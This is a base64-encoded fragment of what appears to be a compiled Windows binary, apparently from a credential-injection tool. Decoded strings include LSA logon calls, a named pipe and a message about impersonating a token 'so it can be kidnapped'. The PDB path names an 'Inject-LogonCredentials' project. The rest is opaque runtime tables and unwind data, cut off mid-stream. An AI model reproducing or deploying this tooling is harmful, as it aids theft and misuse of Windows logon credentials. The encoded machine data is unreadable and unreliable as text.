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A+Pj0APDw9ACY9AAB8PQAAXj0AAGB2ZnRhYmxlJwAAAAAAAABgdmJ0YWJsZScAAAAAAAAAYHZjYWxsJwBgdHlwZW9mJwAAAAAAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHN0cmluZycAAAAAAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAAAAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgc2NhbGFyIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAAAAAABgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAAAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAAAAAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAAAAAAGBsb2NhbCB2ZnRhYmxlJwBgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAgbmV3W10AAAAAAAAgZGVsZXRlW10AAAAAAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3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CBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIABoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQGBAYEBgQGBAYEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAEAAQABAAEAAQAIIBggGCAYIBggGCAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQABAAEAAQACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABQAFAAQABAAEAAQABAAFAAQABAAEAAQABAAEAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAABAQEBAQEBAQEBAQEBAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAAgECAQIBAgECAQIBAgECAQEBAAAAAAAAAAAAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/QwBPAE4ATwBVAFQAJAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AQQAAABcAAABnZW5lcmljAHVua25vd24gZXJyb3IAAABpb3N0cmVhbQAAAAAAAAAAaW9zdHJlYW0gc3RyZWFtIGVycm9yAAAAc3lzdGVtAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAXABcAC4AXABwAGkAcABlAFwAcwBxAHMAdgBjAAAAAABFcnJvciBjYWxsaW5nIExzYUNvbm5lY3RVbnRydXN0ZWQuIEVycm9yIGNvZGU6IABoTFNBIChMU0EgaGFuZGxlKSBpcyBOVUxMLCB0aGlzIHNob3VsZG4ndCBldmVyIGhhcHBlbi4AAE1JQ1JPU09GVF9BVVRIRU5USUNBVElPTl9QQUNLQUdFX1YxXzAAAABLZXJiZXJvcwAAAAAAAAAAUmVjZWl2ZWQgYW4gaW52YWxpZCBhdXRoIHBhY2thZ2UgZnJvbSB0aGUgbmFtZWQgcGlwZQAAAABDYWxsIHRvIExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZSBmYWlsZWQuIEVycm9yIGNvZGU6IAAAAAAAQ2FsbCB0byBPcGVuUHJvY2Vzc1Rva2VuIGZhaWxlZC4gRXJyb3Jjb2RlOiAAAAAAQ2FsbCB0byBHZXRUb2tlbkluZm9ybWF0aW9uIGZhaWxlZC4AAAAAAEVycm9yIGNhbGxpbmcgTHNhTG9nb25Vc2VyLiBFcnJvciBjb2RlOiAAAAAAAAAAAAAAAAAAAAAATG9nb24gc3VjY2VlZGVkLCBpbXBlcnNvbmF0aW5nIHRoZSB0b2tlbiBzbyBpdCBjYW4gYmUga2lkbmFwcGVkIGFuZCBzdGFydGluZyBhbiBpbmZpbml0ZSBsb29wIHdpdGggdGhlIHRocmVhZC4AACVsdQAlZAAAJWxkAAAAAAAiBZMZBAAAAERWAQACAAAAZFYBAAgAAAC0VgEAIAAAAAAAAAABAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8HABgAEAAAAAAAAAAAAAAAAAAAAAAAAAUlNEU8o6DX7lQ19HkfPUNP+syU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